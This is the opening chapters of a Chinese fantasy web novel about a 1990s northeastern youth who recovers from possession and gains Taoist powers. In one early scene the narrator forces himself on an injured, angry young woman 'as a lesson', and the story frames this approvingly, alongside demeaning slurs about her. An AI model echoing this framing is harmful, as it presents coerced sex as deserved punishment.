《东北修道三十年,世人敬我如敬神》
第一章命不该绝
我修道二十九载,被雷劈了七次。
我见过龙。
见过踏剑而飞的修士。
也亲手撕过猛鬼画的皮。
…
而原本,我只是个皮孩子,却因为一次意外成了痴呆,被人叫做守村人。
直到十八岁那年,一个来自毛熊国的蠢女人,非要试一试男人的滋味,她当着我的面脱光,俯身趴在床上。
看着那一双修长的大白腿,我不受控制地朝着她走了过去。
……
我叫冯宁,一九七六年正月十五生人。
家在东北龙省黑城,隔江便是毛熊国西南边境。
我一家七口,俩哥俩姐,我是老幺。那年头在东北谁家都是七八个孩子,五个算少的了。
我爹是印刷厂正式工,娘打零工,靠着精打细算把我们都养活了。
跟其他东北孩子一样,七八岁就开始上蹿下跳,什么上房揭瓦,掏鸟蛋,鞭炮炸茅坑这种事常干,街头的狗见了都烦。
因此我没少挨我爹揍,大家都听说过皮带沾凉水,但我真挨过,一抽一个不吱声。
是真不吱声,也不是因为我脾气倔,而是打的时候皮开肉绽,顾不上喊出来,就在那咬牙了,这样能减轻痛感。
但我爹可不是那么认为的,以为叫嚣呢,打的更狠了。
皮孩子就是皮孩子,记吃不记打,下次还那样。我爹说我不用嘚瑟,早晚要出事,结果就真出事了。
那年我十岁,跟两个哥哥去二十里外的老阴山摸鱼,刚跳下水,感觉脚踝像是被什么东西抓住了。
我以为是水草,下意识地伸手去摸,硬邦邦的,等把手缩回来,从水里面拉出来一具骷髅。
那年月小孩子皮实,死人都见过,胆子很大。心里虽然恐惧但不露怯,下意识地把骷髅甩开,结果我没甩开,惊悚的一幕来了。
骷髅扭头在看我,没错,它就是在看我,那空洞的眼眶,像是有眼珠子阴暗不定。
我毛骨悚然,急着把它甩了上岸,结果那骷髅突然动了,用骨指头刺穿了我的掌心,周围的水都被染红,我直接晕了过去。
之后的日子里,昏昏沉沉的,像是怎么睡也睡不醒,耳边总能听到有人念叨着什么,像是经文,但又不是。
那声音很轻,跟小时候我娘哄我睡觉唱摇篮曲似的,这让我非常的安静,以至于外界发生的任何事都与我无关。
期间我也察觉到了不对劲儿,总觉得不该这样,偶尔拼命地去睁开眼,然后就是模模糊糊的一幕幕,似幻似真。
我或是蹲那看蚂蚁,或是爬在树上发呆,有时候还能见到父母在争吵,有一次坐在院子里的椅子上吃饭,被我爹踹飞半米,然而我却不哭不闹,也感受不到疼,爬起来拿起碗继续吃,痴痴呆呆的。
我爹看我那样子就更气了,甩袖子走人。
那是一种很难描述的遭遇,感觉像是在做全麻手术,看着医生用刀子剪子给自己手术,却没有一点知觉。
这种描述又不准确,我曾问过一些全麻手术的病人,全麻的人没有任何意识,跟死了一样。
我呢,有意识,没知觉,如同一个旁观者,观察着自己的一举一动,想说话,一个字都吐不出去。
就这样反反复复,多半在沉睡,偶尔醒过来看看自己在干嘛。
久而久之,成了大家口中的冯傻子,我也知道大家都叫我傻子,但是反驳不了,像是一件无关紧要的事。
转眼九三年,我十八了,有着一米八五的个头,一张棱角分明的俊脸,虽然胡子拉碴的,但盖不住俊朗的脸,这是我从镜子看到的。
而我这个傻子还有未婚妻,我见过那姑娘,隔街高裁缝店家的女儿,长得真好看。
当然,她可不是因为颜值要嫁给我的,而是因为我父亲是职工,家里能拿得出丰厚的彩礼。任何年月,钱都是万能的。
不过我能苏醒,倒是跟我颜值有直接的关系,我被一个毛熊国的白人女人盯上了,她叫索菲亚。
索菲亚来自毛熊国,正统的白人,她爹是我们这一代出名的商人,手里有一些灰色产业,在黑城这地界没人敢惹。
索菲亚也顺理成章地成了这一带的大姐头,而为了尝尝男人的滋味,她把我哄骗到了街头的舒安旅馆。
要说真该我醒,行尸走肉的那个我,不会对任何东西感兴趣,他只负责我能活着。但偏偏那会,我又迷迷糊糊的了。
第一眼,就看到了一双分开的大长腿,那腿白嫩修长。
再往上看去,明明已经没有了任何知觉的我,突然觉得燥热,怎么说呢,像是找到了一种归宿感,似乎我必须做点什么。
眼睁睁地看着自己,朝着那双腿走了过去,然后就是本能地做些什么事。
然而到这里,我都没觉得自己的存在,一切都是凭着原始的行为。
之所以有了触觉,是因为听到了一个声音,我可以非常确认地说,那声音竟然是我‘自己’发出来的。
他大喊不要,声音非常的尖锐刺耳,震得我觉得耳膜要穿了。然后他又念起了那‘摇篮曲’,我非常的困,眼皮都快睁不开了,眼前的事情越来越模糊。
但很快我被一种前所未有的愉悦感刺激,我努力地睁开眼,也是八年来第一次有了独立的意识,我挣扎,拼命的挣扎,大力的挣扎。
渐渐地,我有了手,控制了手臂,有了腿,控制了腿,有了脚,控制了脚,等我完全控制了全身。
‘啊啊啊,草拟吗的,老子不甘心啊啊啊啊!’
那道声音极其愤怒地吼着,再然后那困了我八年的声音,也随着那道声音的消失而不见了。
接着在这八年里发生的点点滴滴,像是我经历过一般,全都记了起来。
与此同时,我的脑子里又多了一个人的记忆,他的记忆非常的杂乱,零零散散的,一时间梳理不清。
只是隐隐约约的知道,他是个修道的,但不是个道士,而是个方士。我也因此知道了在我身上发生了什么事,我被‘夺舍’了,他想要借着我的身体重生。
而那八年里之所以总是痴痴呆呆的,其实那不是在发呆,而是站在阳光下吸收阳气。
因为阳气足了,被夺舍的人会觉得热,温存地活在其中。一辈子舒舒服服的,也就没了抵抗。有点像黑洲草原上蝙蝠吸牛屁股血,让牛舒舒服服的死法。
想要破局,需要把这阳气给泄掉,办法倒也不少,去阴气足的地方,比如住坟圈子,阴宅。或是阴阳调和也行,也就是找女人。
但‘夺舍’非比寻常,普通女人的阴气根本不够,结果这索菲亚天生阴体,误打误撞地竟然破了这局。
俗话说得好,坏人绞尽脑汁,不如蠢人灵机一动。或许连那个夺舍我的家伙,打死都想不到会毁在一个虎逼手里,所以才会在消失之际,发出那种不甘的怒吼吧。
而我第一时间奔着索菲亚,也不是奔着身体去的,那完全是原始本能。
怎么说呢!
这玩意就跟土狗病了去山里找草药自救差不多一个原理。
总之,我命不该绝,彻底的醒了。
……
第二章我爹头上有颜色
我一丝不挂地站在床上,脚下是一片殷红,微微抬头,一条白色的毯子半遮半盖着索菲亚的身体,场面香艳。
“臭傻子,你愁啥!四个小时了,还嫌把老娘没折腾够。你给我等着,这事没完,敢这样弄我,我不把你那玩意剁了喂狗,我就不叫索菲亚!”
在这方面,她也是新手,我那可是晒了八年的太阳赞的阳气,她不遭罪算怪了。
但看着怒气冲冲的索菲亚,我却面无表情,没有半点的怜香惜玉。
在我成傻子的这八年里,这女人可是没少霍霍我,扒裤子摸牛的事没少干。
以至于变本加厉,这次更是把我不当人,好在我身体特殊,要不然她那种体质,换做谁都废了。
虽然阴差阳错地成了我的救命恩人,但一码归一码,既然她们送上门了,我也得给她们点教训。
于是,我直接扑了上去,有点趁人病要人命的意思。
哎。
但殊不知,就是这一日,也埋下了日后的因果。差点没被那因果雷给我劈死!
话说回来,索菲亚长得真带劲,毛熊国少女的脸蛋,五官端正,皮肤白嫩,清秀中带着一股子媚劲儿,而且她身材非常棒,高挑,大长腿,就跟电视里面那些长腿模特似的。
还是十八岁,虽然是个小太妹,但挡不住嫩啊!
漂亮归漂亮,我对待她的态度依旧非常冷漠,在我眼里她咎由自取。
而我之所以会这样漠视,跟我这八年当傻子的经历有莫大的关系,这个我后面会细细道来。
折腾完了索菲亚,回到家的时候已经是第二天中午了,家里正在吃饭,看到我,家里人也没什么反应,对我一夜未归漠不关心。
倒是我有些意外,哥哥嫂子,姐姐姐夫,我爹妈都在,家里第一次人这么全。
我妈习惯地去厨房给我盛了一碗饭,夹了不少菜递给我,之后也没说让我上桌,反正不再理我了。
我也习惯了,当傻子的这八年里,我就没上过桌吃饭,基本都是蹲在门口,或是坐在门槛上。
说实话,我跟家里人的关系不怎么好,除了大哥二姐二姐夫,其他人对我的态度要么冷漠,要么就是恨,其中我爸最恨我,因为我是个傻子,给他抹黑。
至于我妈,她是个地地道道的农村妇女,夫唱妇随,早年也心疼我,但因为父亲的态度,她也变得厌恶我。那年月这种妇女很多,我甚至觉得是那个时代的一种标志。
折腾了一夜还真的有些饿了,什么也没说,蹲在门槛上开吃,该说不说我妈做的大锅饭还是很香的,浑浑噩噩八年,久旱逢甘露大快朵颐。
只是等我一抬头,发现了一些不对劲的地方,在我家里人的脑袋上,有着一团团的雾气,这些雾气或多或少带有不同的颜色。
比如我爹的头上是一团黑雾,而我大姐夫头上是粉红色的薄雾,至于我二哥,则是一团彩雾。
我以为自己看错了,用力地揉了揉眼睛,发现真的能在他们头上看到一团的雾气。
大家都没意识到我再看他们,应该以为我和以往一样在发呆,我爹见我这样就生气,似乎都成了一种习惯,他冷冷地瞥了我一眼,这才从兜里掏出了一包烟。
葡萄,一块二。那个还用烟纸卷烟的年头,像我爹这种抽成品烟的男人并不常见。
但其实我爹也不常抽这种烟,平日里踹在兜里装个场面,今天肯定有什么事这才拿出来的。
他磕哒出一根点上,习惯地甩了甩手,像是有心事一样的抽了一口,“今天把你们都叫来,想着说点事。”
大哥意识到了什么,“爸,是不是你们厂要裁员了。”
我大哥叫冯达,骑摩的的,倒不是他有什么远见,而是下岗潮如今不是什么秘密了。
其实八几年就开始下岗潮了,当时大家都没这个意识,总之就是事不关己高高挂起的态度。直到九三年,东北这边迎来了大爆发,该来的还是来了。
看到大家都沉默了,我爹抽了口烟,点了点头,“嗯,上面文件下来了,你们王叔跟我私下聊了,他是办公室主任,让我起个带头作用,主动点,能多给我申请点。我也试探地问了,能给补个两万。”
一听‘两万’,大家脸上的神色都有了变化,那年头的两万块,五间砖瓦房还有余。
倒是大哥沉思,“爸,就没办法留下吗?毕竟,您眼看就要退休了。王叔这人我总觉得有点不靠谱,别到时候您主动离了,他再给不出钱。”
我爹摇头,“号召国家响应,这是我们工人阶级应该做的。我还是厂里面的老大哥,应该带头。王远虽然精明,但我们俩共事十几年,他不会害我的。他给我算了算,我退休后一个月也就拿几十块,一年才一千多。两万块,那就是二十年,我能不能活到那个时候还不知道呢。”
见儿女们都没说话,我爹瞥了我一眼,情绪复杂,“今天把你们找来,是想商量下冯宁的事,再过几天,裁缝家的新媳妇娶过门,我想着,你们谁能主动点,多照看照看老幺,谁照看得好,那两万块以后就是谁的了。”
原本我还在观察那雾气,听到我爹的话有些错愕。那八年,我爹就没给过我好脸色,非打即骂,以至于我鼻子微微发酸。
但即使如此,我也没打算把我的经历说出来。我不需要别人接纳我,同样也不对任何人抱有期望。这倒不是自私,而是我发现自己不一样,可以说很不正常。
我需要先弄清楚一些事,至于其他的情绪,都要放一放。
“这……爸,要我说,您就是瞎操心。老幺这种情况,还结什么婚啊!那不是害人家姑娘嘛。你把钱给我,你儿子我马上就是国际倒爷,两万块,我去咱们酒厂弄点白酒,分分钟变成二十万!这才是正经儿的!”
说话的是我二哥,大名冯涛,外号嘎子,是个极其不靠谱的人。
从小他就喜欢做一些偷鸡摸狗的事,最近我们这边有些人做倒爷发了财,他也跟着眼热了。
这还没做倒爷呢,但却有了当倒爷的神气。
“哼,你那是在投机倒把,你想死,没人拦着你。但这钱,你一分都没有!”我爹看不上我二哥。
那年代的倒爷,叫做投机倒把,被抓住了要蹲号子的。而那一年的国际列车大劫案,把国际倒爷推到了风口浪尖上。
当时闹得沸沸扬扬,大家对倒爷都有些抵触,而我这二哥就喜欢嘚瑟,有点以此为荣的劲头儿。
我二哥虽然能嘚瑟,但也怕我爹,撇了撇嘴,倒也老实了。而商量来商量去,哪怕是心疼我的二姐二姐夫,在这件事上都没有表态。
大家吃过饭后找了个理由,陆陆续续的也都走了。倒是我爹,也不知道在想些什么,一个人喝起了闷酒。
但这一切似乎与我无关,因为此时此刻我的注意力都在我爹头上的那团黑雾上,那已经不是黑色了,而是黑得发红,暗红暗红的,我隐约地感觉不是什么好事。
果然,正如我猜想的那样,何止不是好事,我爹差点没死了!
……
第三章真言是真的有用
因为我爹头上的雾太过诡异,我担心我爹出事,所以总是跟着他。
而我这个傻儿子以前也总干这种事,倒是没被他怀疑,一副你爱跟着就跟着的态度。
就是在见到熟人的时候,他有些别扭,对我的事不太愿意提起,可见他对我是傻子这件事有多在意。
期间,除了发现别人头上有雾的这个现象,我也逐渐地融合了一些那方士的记忆,因此学会了点东西。
一个是真言,但我仅能学会一个字,那就是‘道’,还需要配合‘六’的结印手势打出去,类似于一种精神攻击,想要什么样的效果,那就看心中想的是什么了。
另一个是驱邪的手段,一段咒语,名为‘诸邪避让’,这个相对特殊,需要借助一根泡过鸡血的红绳才行。
真言我试过了,好像是有用,但也好像没用。我用‘道’字真言让我妈给我拿个苹果,她给我拿了。但我让她给我钱,她就没给。因此我判断,这玩意应该是有成功率。
驱邪手段需要鸡血,但这年月但凡是吃的,还是跟肉有关系的东西都不太好弄。所以我得想办法才能尝试。至于驱邪驱什么,我也不知道。
那天,主任王远又找了我爹,我就站在一旁,王远知道我是傻子,说啥话也都不避讳。跟我爹称兄道弟的,还给我爹买了软白山,那玩意当时十块钱一盒,他给我爹买了一条。
我总觉得这王远殷勤,但我爹却很吃这一套,把人家当做十年好友,当时就把离职协议签了。
我也在王远的头上看到了那雾气,他的雾气是黄的,相对而言比较稀薄,但若隐若现。
王远也大方,又似乎早就知道这事能成,准备了两千六百八,也就是一年的工资直接递给了我爹,那架势真痛快。至于说好的两万他也没提,我爹也没好意思问。
而我爹呢,热心肠,让我在办公室等着,主动地拿着钱去厂里宣传离职的好处。
然后,我就看到王远头上的那团黄雾越来越清晰,最后不再若隐若现,而是一团明亮的黄雾。
再看王远,他撇着头,一脸微笑地看着窗外在宣传的父亲,从始至终都是那个表情,也不说话,耐人寻味。
我不经意地朝着我爹的头上看去,他的那团雾气越来越浓,从浓到发红,已经到了发紫了。
我大感不妙,果不其然,半个月后我爹真的出事了。王远答应的两万块迟迟没有兑现,我爹去要钱,结果被推三阻四,后来人家直接摊牌了,说没有这回事。
我爹知道自己被耍了直接气到吐血,当天就大病一场。然而事情还没完,那些离职的工人也都开闹了,因为有的拿钱少了,有的甚至连工资都没拿到,一来二去,在王远的操作下,这笔账全都算在了我爹的头上。
意思是我爹带头离职,结果就是这些离职的工人,也不管是不是亲属朋友,几十号人堵在了我家门口,让我爹给个说法。
至于王远呢?因为能力出众被领导们认可,要调走了,而且是往高了调。他们拿人家没办法。
我也在这场大闹中顿悟了,知道了那雾气是什么东西,那是一个人的气运。
黄的代表贵气,权势,代表着好的气运。黑的呢,死气,霉运,煞气,总之是不好的气运。而我爹的头上,已经到了煞气的地步,命悬一线。
“冯老狠,要不是你说主动离职能给个两万,我家老刘能离职吗?现在好了,离职书签了,结果呢?就给了我家三百八?你让我们活不活!今天要是不给个说法!我跟你没完!”
我爹叫冯建军,因为年轻时干活狠实,被人叫做冯老狠。而说话的是隔街的六婶,口中的老刘叫刘进民,沾亲带故的表舅。
我爹属于那种很沉默寡言的人,他也是受害者,那年头的人都很纯粹,怎么也想不到会被十几年的朋友给坑害。
他嘴笨,不知道该说什么。好在因为气运的原因,我一直盯着我爹,怕他有什么过激行为,我还真做对了,看到他摸了一把刀放在了手心里。
我暗叫一声不好,我爹当然不会去伤人,他这是要伤自己。
再看我娘,本就夫唱妇随的,也是个老实人,扶着我爹,泪眼婆娑不知所措的。
家里出事了,她除了哭哭啼啼,一句话都没有。
我爹头上的黑雾越来越浓,显然到了临界点,我看着他攥紧的刀子反手握着,这是要朝心脏扎去的架势。
我当时也慌了,也顾不上大庭广众,想到了真言,看了看自己的手,心中想着我爹不要犯啥事,朝着我爹结印,“道。”
突如其来的举动,场面突然安静了,所有人都看向了我。但我哪里还顾得上其他人,一双眼睛全在我爹的脸上。
只见原本要自杀的我爹,那浑浊的双眼突然清亮了些,而他那头上的黑雾,也跟着稀薄了不少。
真有用!
我松了口气,因为我爹拿着刀的手真的放了下来,没再有过激的行为。
原本我对修道的事将信将疑,但就是从这一刻起,我彻底的信了,也下定决心钻研这些东西。
我爹朝着我看了一眼,眼中闪过一丝诧异的情绪,而后他又摇了摇头,情绪很复杂地看向了我娘。那眼神,显然还是把我当成傻子,只不过,我这个傻子救了他一命,他百般滋味。
“哼,缺德的人家,怪不得小儿子是个傻子呢,做损。冯老狠,别在那装死,还拿着刀,怎么?你想威胁我们啊!我们不怕!”
六婶叉着个腰,嘴里不饶人。
“师傅,我觉得六婶说得没错,你说你们家,连冯傻子都要娶媳妇了。再看看我,跟您快一年了,连工作都丢了。总不能连一口汤都不给我喝吧!”
杨凯的起哄,连我爹诧异了,因为这个人是我爹徒弟。
我爹,“杨啊,你,你怎么能这么说。是我求了主任,把你弄到厂里的,去年的先进个人,那原本是我的,为了你的前途我都让给你了。荣誉不说,那可是实打实的三百块钱。你……”
不等我爹把话说完,杨凯不屑地摆了摆手,“行了行了,冯老狠,不就三百块钱嘛,你让我一辈子感恩戴德啊。”
徒弟这样说师傅,我爹憋得满脸通红。
我娘也气得颤抖,“小杨啊,你,你不能昧良心啊,你以前连饭都吃不上,你师傅把你弄到厂子里有了工作。我家十来口人,做饭你师傅永远都给你带一份,那不是钱啊?你离职,也不是我们造成的啊,是你自己沾赌,把钱输给了街里的大混子,人家找到了厂子,你吓得的自己跑了,你师傅还因为这件事,没少帮你在厂里说话,你这孩子怎么这样啊!”
被我妈揭穿面目,杨凯撇嘴,死猪不怕开水烫。
杨凯的忘恩负义,我心里倒是没有一点波澜,他当面讨好我爹,背后指着我鼻子骂我傻比,这种人能好到哪?
看我爹,头上的雾气还是得黑的,而且又有浓的意思,家里发生的事,哥哥姐姐们还不知道呢。等他们来了,估计已经出事了。
情不得已,我开了口,“六婶,这件事你们想怎么解决?”
比起刚才我念了真言,我这次的开口,所有人都用一种怪异的目光看向我,包括我爹娘,包括那个杨凯。
……
第四章拜佛不跪佛转身
“你,你不傻了?”
六婶随后又翻白眼,话锋一转,“哼,冯宁,我可不管你是不是傻子,你们老冯家要么给钱,要么别怪我不念老街坊的情谊,我去派出所告你去!”
“对,告他们去,这一家子坏得很!”
看着大家还要起哄,我慢条斯理,“六婶,就算你不说,我也要去派出所。几十号人把我们一家子堵在家里,你们想干啥?”
大家被我的话问得一愣,这年月私闯民宅那可是重罪,何况还这么多人。
六婶心虚,“说一千道一万,还不是你爹不地道!好,那宁宁你说,这事咋办?”
别看六婶‘宁宁’亲切地叫着,实际上是因为我爹妈半天说不出一个字来,她这是拿我当突破口呢,我心里门清。
我很认真,“六婶,你们来我家闹,无非就是觉得不公平,觉得我爸拿了什么天大的好处。但实际上,我爸也被王远给骗了,他在印刷厂干了近二十年,结果呢,离职了也就拿了两千六百八。二十年,一个快退休的职工,你觉得多吗?”
六婶眼神诧异,“你,骗鬼呢?不是两万吗?”
我平静,“王远确实口头允诺了我家两万,要不是这样,我爸也不会痛痛快快地离职。结果在我爸离职后,连王远的面都见不到,他前前后后跑了十几次厂子,人家不承认了,这不,前几天直接病倒了。”
所有人面面相觑,显然这件事早有耳闻,但他们又很不甘。
我冷漠,“六婶,我爸再有个三四年退休了,以他的资历,可以跟厂子耗下去,没必要淌这趟浑水,而他之所以宣传离职,一是被王远骗了,二嘛,号召国家响应。大家要是觉得我爸影响了各位,我们现在去派出所,总有明事理的。”
而我心里很清楚,他们拿王远没办法,把我爹当成了出气筒。一番话下来,连叫得最欢的六婶都闭嘴了。他们敢来家里闹,嘴上说去派出所,其实最不敢去了。
那年月的派出所非常有威慑力,谁敢去闹?
而且‘号召国家’,这‘四个字’的分量极重,大家也都被镇住了。
有一个走的,就有两个,有三个,陆陆续续,六婶,杨凯虽然心有不甘,却也只能走了。而这件事,也就搞了一段落。
等我回头看向爹娘,他们像是不认识我一样,震惊地盯着我。什么话都没说,却又什么话都说完。那样子很明显像是在问我,你真是傻子吗?
很快,哥哥姐姐们知道家里出事了,全都慌慌忙忙地赶了回来,得知是我解决了问题,同样震惊。
我没解释,也没把我的经历说出来,总之一问三不知。而我突然不傻了,我看到我爹头上的黑雾少了一大半,竟然有了从黑变白的迹象。家里人也都很高兴,我娘直接做了一大桌的菜,时隔八年,我第一次上桌吃饭。
至于那两万块,在我爹那似乎一下子没那么重要了。不过,那只是在我爹那,其他人未必那么想。我二哥二嫂,大姐大姐夫,这四个人全程都没怎么说话脸很黑。
他们跟我爹娘大吵一架,原来他们早就把那两万块盯上了,结果直到这笔钱可能瞎了,他们有些难以接受。至于我是不是傻子,他们并不关心。
见他们这态度,我爹气得掀了桌子,眼下天都黑了,我爹也不管其他人怎么想的,拉着我的手往外走,一路上我爹都没说话,直到走出了二里地,眼前是大坝口,我爹才停脚,“老幺,你跟爹说实话,你,你现在正常吗?还,还会傻不?”
看着我爹那迫切的眼神,我有种说不出的滋味,但依旧冷漠,“爹,我不傻了。但,有些不一样,我不能说。”
我心里清楚,我的那些经历,就算我亲爹都不能说,因为不说也就当个傻子,说了,那就是精神病。
我们这当时别的不出名,精神病院那真是全国有名。相当有威慑力,我可不想被送进去。
“那就好,那就好。”我爹拿出了一支烟点上,然后说了一句‘我们回家’,又朝着家那边往回走。
在我印象里,哪怕这些天发生了不少事,我爹似乎都很健壮。直到这一刻,我却突然发现,那个从小皮带抽我,八年来看我不顺眼的爹突然老了。
像是一个小老头,很沧桑。而我对我爹的态度也有了些转变,起码我心里清楚,他一直在为我考虑,为我找一条出路。这并不是一个容易的事。
那晚过后,我不傻了这件事很快传开了,原本对我而言,这应该是一个好的开头。因为我马上要结婚了,这样一来,女方家里能有一个好印象。
但事情总是事与愿违,我不能说倒霉的事一件件发生,因为这跟倒霉完全不沾边,而是离谱的事一件件发生。
之后我才知道,修道的人,与众不同。而方士,更是如此。
因为钱的事,家里面闹得很不愉快,二哥二嫂更是直接搬了出去,那天我听我爹念叨,二哥这是要分家了。
对此我漠不关心,因为我发现我是个文盲,连一些简单的字都不认识,我从拼音学起,抱着字典在那看。我学习的速度非常快,过目不忘,有时候还会因为某个字,会生出一丝非常微妙的感觉。
但很显然,我应该是没到那种境界,虽然认识这个字,却无法像真言那样去用它做什么。
裁缝店的高叔突然来我家了,带着他姑娘高月,也就是我未婚妻。原本我和我爹都以为是商量婚礼的事,好生招待,我连字典也不看了,结果人家是来退婚的。
我爹诧异,“这,老高,你也看到了,我家老幺都好了啊!怎么,好了还退婚了呢。”
我娘也急了,“是啊老高,你说彩礼三千,我们拿。你说要新三样,冰箱洗衣机彩电,我们也出了。这,这怎么就反悔了呢。”
高大山大嘴一撇,“嫂子,我跟你说实话吧,好了是好了,长得也不错,但那有啥用啊。原本咱们扯好的,等老冯退了,让冯宁接班。现在老冯没了工作。你家这傻,不,冯宁,他上哪弄工作去?那不也是废了嘛。”
这话不好听,我爹拧眉头却没做声,高大山又继续,“老冯,嫂子,你们也别嫌弃我说话难听,我女儿金贵着呢,要嫁,就要嫁吃铁饭碗的。不是职工,甭提。”
说完,高大山就走了。因为这事,我爹我娘闹心,我娘觉得我肯定是着了点啥,大中午的把我拉到了寺庙去拜。结果离谱的事来了,我娘跪在那拜,啥事没有。
我要跪下,膝盖却不听使唤,弯不了一丁点。
我娘在我腿上打了我一巴掌,还埋怨我为啥见了佛祖不跪,但我有苦说不出来,我娘更气了,一个劲地给佛祖念叨着道歉,而我再次抬头,却很惊悚。
因为在我的眼里,佛像竟然背对着我。
……
第五章我打开了新世界
眼前的一切太不真实了,我清楚的记得,刚踏入佛堂那会,佛像是面朝着我的,结果不声不响的,背对着我?
要知道这可是一尊三米高的大佛啊,我以为眼花了,揉了揉眼睛,等再次看向佛像,更离谱的又来了。
佛祖左右的文殊菩萨、普贤菩萨,也都背对着我。
我用力地咽了口吐沫,扯了扯我娘衣角,指着佛像,“娘,你看到了吗?”
我娘疑惑,见我用手指指着佛像,脸色大变,起身一巴掌打在了我手上,“你这孩子,没规没矩,不能用手指指着佛,那是不尊重。你让我看什么,这不都好好的吗?”
说完,我娘又跪在那,虔诚祷告,“阿弥陀佛,阿弥陀佛,佛祖保佑,佛祖莫要怪罪,我家孩子之前是个傻子,他还没完全好,求佛祖莫要生气。”
我有些无语,自己娘说自己儿子是傻子,那滋味别提了。但看着我娘在那磕头,我又看了一眼佛像,我现在可以确定,只有我看到了佛转身,我娘看不到。
佛转身,不待见我?我突然冒出来这样一个想法。
回家的路上,我娘说了一大堆,但我一句都没听,完全沉浸在寺庙里发生的事当中,等到了家,我得出了一个违背常理的结论。
那并不是佛不待见我,而是我看到了‘佛’的本质,它不是不待见我,而是不待见我和我娘,而我之所以不跪,也跟佛没有关系,而是我不经意接受了修道的传承,祖师爷不让我跪。
随着这个思路越来越清晰,我顿悟了。
道不跪佛。
也是因为这件事,我斩钉截铁的确认了自己的立场,我是个修道的,轻易不能脱离修道的修养。
虽然我并不清楚是什么样的修养,但我很明确,祖师爷不让做的事,肯定是范畴之内。
俗话说得好,好事不出门,坏事传千里。很快我被高家退婚的事传了出去,而且越传越离谱。
有说我没好利索的,所以高家才退了婚。也有说我其实不是傻子,而是个精神病的,把人家高月吓坏了,当场就退了婚。最无语的还在后面,居然有人传出我‘不举’,说高月受不了这病,直接悔婚。
我娘愁得慌,整天神神叨叨的,脸上就没一个笑脸。倒是我爹,往年都不拿正眼看我,拉着我喝起了小酒。
“老幺,你有什么打算?”大中午的,我爹捏了把花生,我爷俩就喝起来了。
“我想多看看书,再做打算。”我没瞒着,这些天我把字典上的字已经全都记了下来,如今,我非常渴望读书。
而这个读书,并不是要去上学,而是对知识的渴望。因为我发现,随着我认字认得越多,我渐渐地能捋清楚那个方士记忆了。
“你是想考大学?”我爹意外。
“有这个想法。”我撒了谎,我并不能把我真正的意图告诉我爹。当然,要是能有这种机会,试试也不错。
“老幺啊,虽然是条出路,但我们老冯家,祖祖辈辈都是老农,没机会哩。我听说呀,那考大学是要有人推荐的哩。”我爹摇了摇头。
我爹说的这种上大学的方式,那都是十几年前的事了,当时没有考大学的说法,而是需要有人推荐上大学。
如今早就恢复高考了,而举国皆知的事,我爹却不知道,我也觉得奇怪。但我并没接过话茬,本身我并没有打算上大学,他怎么想都不重要。
“我已经跟你三叔打过招呼了,他开了个养猪场,你去打下手,一个月给你五十块。而且离家近,有什么事你随时能回来,或是我去看你,就这么定了。”我爹也不问我同不同意,把花生米掰成两半,往嘴里塞了半粒,一口酒下肚,拍板了。
我没去争论,因为争论没什么意义,眼下最重要的是读书,我想弄明白一些事,光认字没用,需要去打开世界。
而当下最好的办法就是读书,我总觉得书中起码有我需要的东西。
在我爹的安排下,我进了亲三叔家的猪场。猪场在山上,离我家十来里左右,而我这一去,很快一个多月过去了。
而在这一个月里,我一边养猪,一边看书,随着读书越来越多,我的实力也跟着突飞猛进。
我学会了往生咒,是一种送魂魄往生的经文。学会了画符,各种各样的符,听话符,偷听符,真话符,假话符,风骚符,力气符等等。学会了《五雷元经》,这是一部修身养性的内修功法,金雷,水雷,火雷,土雷,木雷,对应着五脏六腑。
其中《五雷元经》最为玄妙,随着修炼的深入,我也看到了‘道家’说的灵气,它像是一团精灵,我把它吸纳到丹田之处,它们改造着我的身体的同时,也让我有了‘道力’。这种力量很微妙,需要道家的手段去使用。
我的身体越来越轻盈,甚至能‘看到’体内的情况。修炼的好处不止是这些,也让我本来非常疲乏的工作变得轻松。
三叔养的是梅花猪,这些猪专门卖给富人,养法上也大有不同。为了肉质更鲜嫩,不是农村的那种圈养,而是山上散养,所以需要人盯着。
这边四十多头猪,他和婶子照顾不过来,这才招的人。
原本,因为我爹把我安排过来,三叔倒是没说啥,但并不满意,而三婶的态度更明显了,白眼就差翻到我脸上了,为了赶我走,有时候都不给我饭吃。
原因嘛,她也知道我的事,认为我是个傻子,来她家就是个白吃饱的,是个累赘。
但我不在意,自从修炼了《五雷元经》,我的饭量越来越小,但吃的东西要求越来越高,有时候吃个苹果,要比一天两顿饭还要舒服。
我把修道的成果,逐渐的用在了梅花猪的身上,起初,我把听话符拍在了猪的脑门上,这玩意道力都在符咒中,不需要什么咒语去触发,然后我让猪去吃东西,它就去吃东西,根本不用看管。
但这玩意一次性的,一两个小时,猪又开始活蹦乱跳,不听使唤。
再往后,随着我道力的精进,我体内的灵气越来越多,而我能使用了道力。我尝试用真言‘道’字,以道力拍在猪的脑子上,想象它听话。
这一次尝试,直接打开了我的新世界,猪的眼神变得清澈,有些事只要我说一次,它从今往后都会去照做。
比如上山,到那个时间,它自己就开始想要往山上走,比如下山,不用我再四处去找,它会自己回猪圈。
然后我把所有猪都‘真言’了一遍。
……
第六章惊呆了的黎小姐
一开始来到山上,我三叔三婶并不信任我,他们甚至没打算把我留下,所以脏活累活都让我干。
但随着我的到来,大活小活我都包了,而且没丢过猪,也没出过事。甚至一个人就能把所有猪都看管好,我三叔三婶的态度来了个大转变。
给我做好吃的,我三婶还给我买了新衣服,嘘寒问暖,最后直接把猪场交给我自己看管,偶尔过来看看。
猪按时按点的上班,我的工作清闲了,读书的机会越来越多,偶尔还能回黑城一趟再买些书带到山上看。
因为山上就我一个人,施展道术也不怕被人看到,这也是我想要的。
然而,我本以为接下来很长时间会这样稳定下去,起码到过年前能这样下去,但那个女富婆的突然出现,如同潘多拉的魔盒。
打开了一道,即使我经历了如此违背常理的事,认为自己很特殊,不会被任何事所惊讶,但还是被震惊到了的大门。
而一旦踏入进去,如同深陷淤泥,可我根本无法控制自己。事情还是要从猪要出栏说起。
养过猪的都知道,好猪最少也要六个月出栏,而我三叔家的梅花猪,则是要一年出栏。转眼十月初,也就到了猪出栏的日子。
在《五雷元经》的基础之上,还有一篇《五雷诀》。这玩意非常难领悟,整整一个月,我也没什么进展,而就在那天,我却突然捕捉到了一丝雷力,甚至我觉得自己能掌控它。
因为我本就打算修炼《五雷诀》,所以我买了一把剑,而《五雷诀》需要以剑来引雷。我迫不及待的尝试,结果那可是大晴天,‘轰隆’一声,那雷真的劈了下来,把一旁的树直接劈成了雷击木。
成了?
哪怕我早有准备,但也非常震惊,这真是人能做到的吗?但我真的做到了,我非常确信这不是巧合。
